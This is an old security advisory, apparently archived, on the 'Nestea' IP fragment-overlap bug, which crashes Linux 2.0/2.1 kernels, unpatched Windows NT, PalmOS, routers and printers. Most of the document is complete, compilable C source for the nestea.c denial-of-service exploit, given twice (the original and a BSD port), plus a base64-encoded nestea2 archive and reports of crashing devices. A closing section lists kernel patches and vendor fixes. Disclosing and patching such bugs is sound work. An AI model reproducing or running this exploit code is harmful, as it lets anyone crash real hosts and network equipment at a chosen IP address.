COMMAND
IP fragment overlap
SYSTEMS AFFECTED
Linux, 2.0.x, 2.1.x, Win NT, PalmOS 2.0.4 (at least), 3COM router,
Magnum 5000 Ethernet-Switch, HP Jet Direct, Lexmark printers, USR
Netserver 8/16 V.34, Netserver 16/I-modem v4.1.82, FreeBSD 3.0-R
PROBLEM
Following info is based on original Rhino9 advisory #9 and it is
expanded with additional informations. It talks about another IP
fragment overlap. This one is called 'Nestea' and it's primarly
for Linux (yet explained as Linux Oversized Fragment
Vulnerability) even can crash NT box without right patches and
PalmOS.
There is a certain function (ip_glue) in the linux kernel that
attempts to reassemble a fragmented datagram before passing it up
to the upper layers of the ip stack. This function will determine
if any particular fragment goes past the allocated memory for the
total buffer or has been miscalculated due to errors or oversights
in the initial assembly code. The comparison statement in the
linux kernels forgot to take into account the size of the ip
header. Since an ip header can reach up to 60 bytes, an attacker
is able to write over 60 bytes in the kernel, and probably cause a
system crash.
This will overwrite important data structures in the kernel
network code and cause the kernel to get very confused. This will
lead to a system crash or a situation such a system that must be
rebooted.
Andrew Hobgood added how PalmPilot is vulneravle too. After
cradling PalmPilot Pro, and establishing a PPP connection with an
MTU of 1500, he tried a nestea of one packet against the Pilot's
IP. After about 2 to 3 seconds, the Pilot popped up an error
window like:
______________________
| |
| |
| |
| ____________________ |
|| Fatal Error ||
||~~~~~~~~~~~~~~~~~~~~||
|| Fatal Exception ||
|| _____ ||
|| (Reset) ||
|| ~~~~~ ||
~~~~~~~~~~~~~~~~~~~~~~
Reports also confirm that testing nestea2 on a ip range will end
up dropping a 3COM router and same effect goes for a Magnum 5000
Ethernet-Switch with actual firmware. nestea and nestea2 do a
number on HP Jet Direct printer cards (tested on a HP 5/si and a HP
1600c with Jet Direct cards). It locks up until power cycled all
of the print jobs that are going to them are lost. The HP 5/si
has a LCD on the front and there is an error code that is
displayed:
80 SERVICE (01E6) CALL SERVICE
This number changes depending on how my times it is hit with
nestea2, which seems odd as if one hit kills it, what difrence
would it make hitting it with 10 and why would it report a
diffrent code. Tests confirms that this also effects Direct Jet
EX 3 (perhaps all HP JetDirect products are effected).
Vesselin Mladenov added. USR Netserver 8/16 V.34, running version
2.0.14 OS is vulnerable to nestea DoS attack too. In 10% of
cases netserver was completely dead. I attacked the NAS with 200
repetitions of nestea. If you increase the repetition number, you
will not have to run the nestea twice to kill the netserver
completely.
Exploit code follows (v1 and v2 and BSD port of v1):
// nestea.c by humble of rhino9 4/16/98
// This exploits the "off by one ip header" bug in the linux ip frag code.
// Crashes linux 2.0.* and 2.1.* and some windows boxes
// this code is a total rip of teardrop - it's messy
// hi sygma
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
// bsd usage is currently broken because of socket options on the third sendto
#ifdef STRANGE_BSD_BYTE_ORDERING_THING
/* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
#define FIX(n) (n)
#else /* OpenBSD 2.1, all Linux */
#define FIX(n) htons(n)
#endif /* STRANGE_BSD_BYTE_ORDERING_THING */
#define IP_MF 0x2000 /* More IP fragment en route */
#define IPH 0x14 /* IP header size */
#define UDPH 0x8 /* UDP header size */
#define MAGIC2 108
#define PADDING 256 /* datagram frame padding for first packet */
#define COUNT 500 /* we are overwriting a small number of bytes we
shouldnt have access to in the kernel.
to be safe, we should hit them till they die :> */
void usage(u_char *);
u_long name_resolve(u_char *);
u_short in_cksum(u_short *, int);
void send_frags(int, u_long, u_long, u_short, u_short);
int main(int argc, char **argv)
{
int one = 1, count = 0, i, rip_sock;
u_long src_ip = 0, dst_ip = 0;
u_short src_prt = 0, dst_prt = 0;
struct in_addr addr;
if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
perror("raw socket");
exit(1);
}
if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))
< 0)
{
perror("IP_HDRINCL");
exit(1);
}
if (argc < 3) usage(argv[0]);
if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
{
fprintf(stderr, "What the hell kind of IP address is that?\n");
exit(1);
}
while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
{
switch (i)
{
case 's': /* source port (should be emphemeral) */
src_prt = (u_short)atoi(optarg);
break;
case 't': /* dest port (DNS, anyone?) */
dst_prt = (u_short)atoi(optarg);
break;
case 'n': /* number to send */
count = atoi(optarg);
break;
default :
usage(argv[0]);
break; /* NOTREACHED */
}
}
srandom((unsigned)(time((time_t)0)));
if (!src_prt) src_prt = (random() % 0xffff);
if (!dst_prt) dst_prt = (random() % 0xffff);
if (!count) count = COUNT;
fprintf(stderr, "Nestea by humble\nCode ripped from teardrop by route / daemon9\n");
fprintf(stderr, "Death on flaxen wings (yet again):\n");
addr.s_addr = src_ip;
fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);
addr.s_addr = dst_ip;
fprintf(stderr, " To: %15s.%5d\n", inet_ntoa(addr), dst_prt);
fprintf(stderr, " Amt: %5d\n", count);
fprintf(stderr, "[ ");
for (i = 0; i < count; i++)
{
send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
fprintf(stderr, "b00m ");
usleep(500);
}
fprintf(stderr, "]\n");
return (0);
}
void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
u_short dst_prt)
{
int i;
u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
u_char byte; /* a byte */
struct sockaddr_in sin; /* socket protocol structure */
sin.sin_family = AF_INET;
sin.sin_port = src_prt;
sin.sin_addr.s_addr = dst_ip;
packet = (u_char *)malloc(IPH + UDPH + PADDING+40);
p_ptr = packet;
bzero((u_char *)p_ptr, IPH + UDPH + PADDING);
byte = 0x45; /* IP version and header length */
memcpy(p_ptr, &byte, sizeof(u_char));
p_ptr += 2; /* IP TOS (skipped) */
*((u_short *)p_ptr) = FIX(IPH + UDPH + 10); /* total length */
p_ptr += 2;
*((u_short *)p_ptr) = htons(242); /* IP id */
p_ptr += 2;
*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */
p_ptr += 2;
*((u_short *)p_ptr) = 0x40; /* IP TTL */
byte = IPPROTO_UDP;
memcpy(p_ptr + 1, &byte, sizeof(u_char));
p_ptr += 4; /* IP checksum filled in by kernel */
*((u_long *)p_ptr) = src_ip; /* IP source address */
p_ptr += 4;
*((u_long *)p_ptr) = dst_ip; /* IP destination address */
p_ptr += 4;
*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(8 + 10); /* UDP total length */
if (sendto(sock, packet, IPH + UDPH + 10, 0, (struct sockaddr *)&sin,
sizeof(struct sockaddr)) == -1)
{
perror("\nsendto");
free(packet);
exit(1);
}
p_ptr = packet;
bzero((u_char *)p_ptr, IPH + UDPH + PADDING);
byte = 0x45; /* IP version and header length */
memcpy(p_ptr, &byte, sizeof(u_char));
p_ptr += 2; /* IP TOS (skipped) */
*((u_short *)p_ptr) = FIX(IPH + UDPH + MAGIC2); /* total length */
p_ptr += 2;
*((u_short *)p_ptr) = htons(242); /* IP id */
p_ptr += 2;
*((u_short *)p_ptr) = FIX(6); /* IP frag flags and offset */
p_ptr += 2;
*((u_short *)p_ptr) = 0x40; /* IP TTL */
byte = IPPROTO_UDP;
memcpy(p_ptr + 1, &byte, sizeof(u_char));
p_ptr += 4; /* IP checksum filled in by kernel */
*((u_long *)p_ptr) = src_ip; /* IP source address */
p_ptr += 4;
*((u_long *)p_ptr) = dst_ip; /* IP destination address */
p_ptr += 4;
*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(8 + MAGIC2); /* UDP total length */
if (sendto(sock, packet, IPH + UDPH + MAGIC2, 0, (struct sockaddr *)&sin,
sizeof(struct sockaddr)) == -1)
{
perror("\nsendto");
free(packet);
exit(1);
}
p_ptr = packet;
bzero((u_char *)p_ptr, IPH + UDPH + PADDING+40);
byte = 0x4F; /* IP version and header length */
memcpy(p_ptr, &byte, sizeof(u_char));
p_ptr += 2; /* IP TOS (skipped) */
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING+40); /* total length */
p_ptr += 2;
*((u_short *)p_ptr) = htons(242); /* IP id */
p_ptr += 2;
*((u_short *)p_ptr) = 0 | FIX(IP_MF); /* IP frag flags and offset */
p_ptr += 2;
*((u_short *)p_ptr) = 0x40; /* IP TTL */
byte = IPPROTO_UDP;
memcpy(p_ptr + 1, &byte, sizeof(u_char));
p_ptr += 4; /* IP checksum filled in by kernel */
*((u_long *)p_ptr) = src_ip; /* IP source address */
p_ptr += 4;
*((u_long *)p_ptr) = dst_ip; /* IP destination address */
p_ptr += 44;
*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */
for(i=0;i<PADDING;i++)
{
p_ptr[i++]=random()%255;
}
if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin,
sizeof(struct sockaddr)) == -1)
{
perror("\nsendto");
free(packet);
exit(1);
}
free(packet);
}
u_long name_resolve(u_char *host_name)
{
struct in_addr addr;
struct hostent *host_ent;
if ((addr.s_addr = inet_addr(host_name)) == -1)
{
if (!(host_ent = gethostbyname(host_name))) return (0);
bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
}
return (addr.s_addr);
}
void usage(u_char *name)
{
fprintf(stderr,
"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",
name);
exit(0);
}
Shortly later, nestea had its v2 release (works againt FreeBSD
3.0-Release:
---
Content-Type: application/octet-stream; name="nestea2.tgz"
Content-Transfer-Encoding: base64
Content-Disposition: inline; filename="nestea2.tgz"
Content-MD5: OccyRmrZV1OH4TLPEAZNJg==
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
UGjGgPm9f0f28/p7Xv8HGvCuywBAAAA=
-----
The original nestea.c does not work unter *BSD, as the 3rd
sendto() is incorrect. Harold Gutch fixed this, a nestea.c that
compiles under *BSD (tested under FreeBSD only) and _works_ there
follows. He also changed this "STRANGE_BSD_BYTE_ORDERING_THING",
so if you want to compile it under *BSD, a simple gcc -o nestea
nestea.c will work, for linux, you will have to compile it using
gcc -DSTRANGE_LINSUX_BYTE_ORDERING_THING -o nestea nestea.c.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
/* bsd usage works now, the original nestea.c was broken, because some braindead
* linsux-c0d3r was too stupid to use sendto() correctly
*/
#ifndef STRANGE_LINSUX_BYTE_ORDERING_THING
/* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
#define FIX(n) (n)
#else /* OpenBSD 2.1, all Linux */
#define FIX(n) htons(n)
#endif /* STRANGE_BSD_BYTE_ORDERING_THING */
#define IP_MF 0x2000 /* More IP fragment en route */
#define IPH 0x14 /* IP header size */
#define UDPH 0x8 /* UDP header size */
#define MAGIC2 108
#define PADDING 256 /* datagram frame padding for first packet */
#define COUNT 500 /* we are overwriting a small number of bytes we
shouldnt have access to in the kernel.
to be safe, we should hit them till they die :> */
void usage(u_char *);
u_long name_resolve(u_char *);
u_short in_cksum(u_short *, int);
void send_frags(int, u_long, u_long, u_short, u_short);
int main(int argc, char **argv)
{
int one = 1, count = 0, i, rip_sock;
u_long src_ip = 0, dst_ip = 0;
u_short src_prt = 0, dst_prt = 0;
struct in_addr addr;
if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
perror("raw socket");
exit(1);
}
if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))
< 0)
{
perror("IP_HDRINCL");
exit(1);
}
if (argc < 3) usage(argv[0]);
if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
{
fprintf(stderr, "What the hell kind of IP address is that?\n");
exit(1);
}
while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
{
switch (i)
{
case 's': /* source port (should be emphemeral) */
src_prt = (u_short)atoi(optarg);
break;
case 't': /* dest port (DNS, anyone?) */
dst_prt = (u_short)atoi(optarg);
break;
case 'n': /* number to send */
count = atoi(optarg);
break;
default :
usage(argv[0]);
break; /* NOTREACHED */
}
}
srandom((unsigned)(time((time_t)0)));
if (!src_prt) src_prt = (random() % 0xffff);
if (!dst_prt) dst_prt = (random() % 0xffff);
if (!count) count = COUNT;
fprintf(stderr, "Nestea by humble\nCode ripped from teardrop by route / daemon9\n");
fprintf(stderr, "Death on flaxen wings (yet again):\n");
addr.s_addr = src_ip;
fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);
addr.s_addr = dst_ip;
fprintf(stderr, " To: %15s.%5d\n", inet_ntoa(addr), dst_prt);
fprintf(stderr, " Amt: %5d\n", count);
fprintf(stderr, "[ ");
for (i = 0; i < count; i++)
{
send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
fprintf(stderr, "b00m ");
usleep(500);
}
fprintf(stderr, "]\n");
return (0);
}
void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
u_short dst_prt)
{
int i;
u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
u_char byte; /* a byte */
struct sockaddr_in sin; /* socket protocol structure */
sin.sin_family = AF_INET;
sin.sin_port = src_prt;
sin.sin_addr.s_addr = dst_ip;
packet = (u_char *)malloc(IPH + UDPH + PADDING+40);
p_ptr = packet;
bzero((u_char *)p_ptr, IPH + UDPH + PADDING);
byte = 0x45; /* IP version and header length */
memcpy(p_ptr, &byte, sizeof(u_char));
p_ptr += 2; /* IP TOS (skipped) */
*((u_short *)p_ptr) = FIX(IPH + UDPH + 10); /* total length */
p_ptr += 2;
*((u_short *)p_ptr) = htons(242); /* IP id */
p_ptr += 2;
*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */
p_ptr += 2;
*((u_short *)p_ptr) = 0x40; /* IP TTL */
byte = IPPROTO_UDP;
memcpy(p_ptr + 1, &byte, sizeof(u_char));
p_ptr += 4; /* IP checksum filled in by kernel */
*((u_long *)p_ptr) = src_ip; /* IP source address */
p_ptr += 4;
*((u_long *)p_ptr) = dst_ip; /* IP destination address */
p_ptr += 4;
*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(8 + 10); /* UDP total length */
if (sendto(sock, packet, IPH + UDPH + 10, 0, (struct sockaddr *)&sin,
sizeof(struct sockaddr)) == -1)
{
perror("\nsendto");
free(packet);
exit(1);
}
p_ptr = packet;
bzero((u_char *)p_ptr, IPH + UDPH + PADDING);
byte = 0x45; /* IP version and header length */
memcpy(p_ptr, &byte, sizeof(u_char));
p_ptr += 2; /* IP TOS (skipped) */
*((u_short *)p_ptr) = FIX(IPH + UDPH + MAGIC2); /* total length */
p_ptr += 2;
*((u_short *)p_ptr) = htons(242); /* IP id */
p_ptr += 2;
*((u_short *)p_ptr) = FIX(6); /* IP frag flags and offset */
p_ptr += 2;
*((u_short *)p_ptr) = 0x40; /* IP TTL */
byte = IPPROTO_UDP;
memcpy(p_ptr + 1, &byte, sizeof(u_char));
p_ptr += 4; /* IP checksum filled in by kernel */
*((u_long *)p_ptr) = src_ip; /* IP source address */
p_ptr += 4;
*((u_long *)p_ptr) = dst_ip; /* IP destination address */
p_ptr += 4;
*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(8 + MAGIC2); /* UDP total length */
if (sendto(sock, packet, IPH + UDPH + MAGIC2, 0, (struct sockaddr *)&sin,
sizeof(struct sockaddr)) == -1)
{
perror("\nsendto");
free(packet);
exit(1);
}
p_ptr = packet;
bzero((u_char *)p_ptr, IPH + UDPH + PADDING+40);
byte = 0x4F; /* IP version and header length */
memcpy(p_ptr, &byte, sizeof(u_char));
p_ptr += 2; /* IP TOS (skipped) */
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING+40); /* total length */
p_ptr += 2;
*((u_short *)p_ptr) = htons(242); /* IP id */
p_ptr += 2;
*((u_short *)p_ptr) = 0 | FIX(IP_MF); /* IP frag flags and offset */
p_ptr += 2;
*((u_short *)p_ptr) = 0x40; /* IP TTL */
byte = IPPROTO_UDP;
memcpy(p_ptr + 1, &byte, sizeof(u_char));
p_ptr += 4; /* IP checksum filled in by kernel */
*((u_long *)p_ptr) = src_ip; /* IP source address */
p_ptr += 4;
*((u_long *)p_ptr) = dst_ip; /* IP destination address */
p_ptr += 44;
*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */
for(i=0;i<PADDING;i++)
{
p_ptr[i++]=random()%255;
}
if (sendto(sock, packet, IPH + UDPH + PADDING+40, 0, (struct sockaddr *)&sin,
sizeof(struct sockaddr)) == -1)
{
perror("\nsendto");
free(packet);
exit(1);
}
free(packet);
}
u_long name_resolve(u_char *host_name)
{
struct in_addr addr;
struct hostent *host_ent;
if ((addr.s_addr = inet_addr(host_name)) == -1)
{
if (!(host_ent = gethostbyname(host_name))) return (0);
bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
}
return (addr.s_addr);
}
void usage(u_char *name)
{
fprintf(stderr,
"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",
name);
exit(0);
}
SOLUTION
Linux 2.0.34 addresses this issue. The fix for HP is simply to
unplug the thing for about 10 seconds and then plug it back.
The Teardrop2-fix has now been posted for NT 3,5 and 4.0 i386 and
Alpha platforms, postSP3 only. For links check the:
http://www.ntbugtraq.com/ntfixes.asp
page with the Language set to USA, version to NT40, processor as
required, SP version to SP3 then click the "New" radio button.
You may try standard MS location as well:
ftp://ftp.microsoft.com
/bussys/winnt/winnt-public/fixes/usa/nt40/hotfixes-postSP3/teardrop2-fix/
/bussys/winnt/winnt-public/fixes/usa/NT351/hotfixes-postSP5/
Windows 95 without Winsock installed is not vulnerable. All other
versions of Windows 95 should update to Winsock 2. Microsoft has
released an update called the "Winsock 2 update" for Windows 95.
According to Microsoft, this update contains fixes for all known
vulnerabilities in the Windows 95 TCP/IP stack. Get it at:
www.microsoft.com/windows95/info/ws2.htm
Windows 98 RC0 (release candidate 0) contains all known TCP/IP
updates, and is not vulnerable to this attack.
Don Lewis posted a couple of potential patches for FreeBSD 3.0R
-current. The following is the first patch (the second has the
same fix plus some optimization). The trick was to use a
precompiled Linux binary, which apparently bypassed a certain
sanity check in the kernel.
--- ip_input.c.orig Fri Oct 23 02:17:19 1998
+++ ip_input.c Sun Oct 25 01:50:20 1998
@@ -750,7 +750,7 @@
* if they are completely covered, dequeue them.
*/
for (; q != NULL && ip->ip_off + ip->ip_len > GETIP(q)->ip_off;
- p = q, q = nq) {
+ q = nq) {
i = (ip->ip_off + ip->ip_len) -
GETIP(q)->ip_off;
if (i < GETIP(q)->ip_len) {
The following is 3COM stand. The first MP series are based on the
ComOs from Livingston. This contract will be over end of 1998 so
3COM will build their own code which is fully compatible. Trails
were out for 1 year. This code pilgrim code is now stable. The
Netserver code they distribute is the 4.x (NetServer ISDN 8/16).
Please check the for latest release notes at:
http://totalservice.usr.com
Lexmark provided patch to fix their firmware so that it doesn't
crash when you hit it with nestea2 or syndrop.
This problem is not present in newer versions of the JetDirect
interfaces.